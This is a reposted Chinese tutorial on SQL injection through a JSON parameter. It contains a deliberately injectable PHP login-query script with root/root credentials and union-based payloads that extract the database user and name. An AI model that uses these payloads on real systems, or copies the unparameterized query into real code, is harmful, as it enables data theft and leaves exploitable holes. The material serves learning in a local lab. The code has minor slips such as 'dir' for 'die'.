sql注入之json注入(php代碼)


環境

  • phpstudy
  • php服務端代碼
  • security數據庫中的users表中的username,password字段
  • 用戶名admin

JSON服務端代碼

大家實際測試中注意修改相關的數據庫名、表名、字段名等

<?php
  // php防止中文亂碼
  header('content-type:text/html;charset=utf-8');
  
  if(isset($_POST['json'])){
    $json_str=$_POST['json'];
    $json=json_decode($json_str);
    if(!$json){
      die('JSON文檔格式有誤,請檢查');
    }
    $username=$json->username;
    //$password=$json->password;
 
    // 建立mysql連接,root/root連接本地數據庫
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
      die('數據庫連接失敗:'.$mysqli->connect_error);
    }
	
    // 要操作的數據庫名,我的數據庫是security
    $mysqli->select_db('security');
    if($mysqli->errno){
      dir('打開數據庫失敗:'.$mysqli->error);
    }
	
    // 數據庫編碼格式
    $mysqli->set_charset('utf-8');
	
    // 從users表中查詢username,password字段
    $sql="SELECT username,password FROM users WHERE username='{$username}'";
    $result=$mysqli->query($sql);
    if(!$result){
      die('執行SQL語句失敗:'.$mysqli->error);
    }else if($result->num_rows==0){
      die('查詢結果為空');
    }else {
      $array1=$result->fetch_all(MYSQLI_ASSOC);
      echo "用戶名:{$array1[0]['username']},密碼:{$array1[0]['password']}";
    }
	
    // 釋放資源
    $result->free();
    $mysqli->close();
  }
?>

進行注入

1、按照特定的數據格式查詢admin用戶密碼

json={"username":"admin"}

2、查看源代碼,構造payload

代碼中的sql語句是這個樣子的,構造payload進行注入

3、判斷當前數據庫有多少列

2正常,3報錯,判斷當前數據庫有2列

json={"username":"admin' order by 3#"}

4、注入帶出來數據

json={"username":"admin' and 1=2 union select 1,2#"}

json={"username":"admin' and 1=2 union select user(),database()#"}

接下來就是注入操作了,在此不做后續注入...

參考博客

https://blog.csdn.net/a15803617402/article/details/82939202


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM